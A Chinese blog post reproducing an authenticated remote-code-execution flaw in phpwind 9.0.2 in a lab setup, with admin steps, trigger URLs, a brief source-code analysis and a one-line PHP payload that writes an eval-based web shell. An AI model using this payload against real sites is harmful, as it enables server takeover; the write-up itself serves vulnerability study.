漏洞复现:phpwind v 9.0.2后台getshell

漏洞复现:phpwind v 9.0.2后台getshell

一、概述
已知影响版本:v9.0.1,v9.0.2
复现版本:9.0.2
搭建环境:phpstudy2018
审计工具:Seay源代码审计系统

二、复现步骤:
1.将源码放置网站根目录(C:\phpStudy\PHPTutorial\WWW)。如下操作,刷新首页,或修改删除目录下.htaccess文件可解决首页访问限制情况:
在这里插入图片描述2.打开install.php页面安装好phpwind后登陆后台。选择门户–>模块管理–>调用管理–>添加模块,新增模块–>选择自定义html–>下一步–>提交代码,模块管理–>调用管理–>调用代码。
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.复制任意站外调用代码url,例json,代码没有过滤:
http://192.168.0.123/phpwind9.0.2/index.php?m=design&c=api&token=qvIQqG3WL2&id=5&format=json
在这里插入图片描述4.去掉url中format参数值,代码被执行:
http://192.168.0.123/phpwind9.0.2/index.php?m=design&c=api&token=qvIQqG3WL2&id=5&format=
在这里插入图片描述
getshell代码:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['pp']);?>");?>
菜鸟试着代码审计,原理后续。

三、代码浅析
漏洞代码入口:\src\applications\design\controller\ApiController.php
在这里插入图片描述
run():

getInput('format', 'get');

获取get参数

!$out && $out = 'script';
$method = $out.'Format';
return $this->$method($moduleId);

若format参数为空、0、false(这里false不行,不是bool类型),则执行scriptFormat()

scriptForm():
根据moduleId获取整个module对象——PwDesignModuleDao;
处理我们提交的代码内容(即phpinfo;)的关键代码见
\src\service\design\srv\PwDesignCompile.php
在这里插入图片描述

		$html = preg_replace("/\r\n|\n|\r/", '', $html);
		$html = preg_replace("/οnerrοr=\"(.+)\"/", '', $html);
		$html = "document.write('".$html."');";

只过滤了\n、\r、οnerrοr=""

小菜鸡还有很多代码没看懂,请大神们指教。弄懂补后续。

参考文章:
phpwind v9存在命令执行漏洞(登陆后台)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值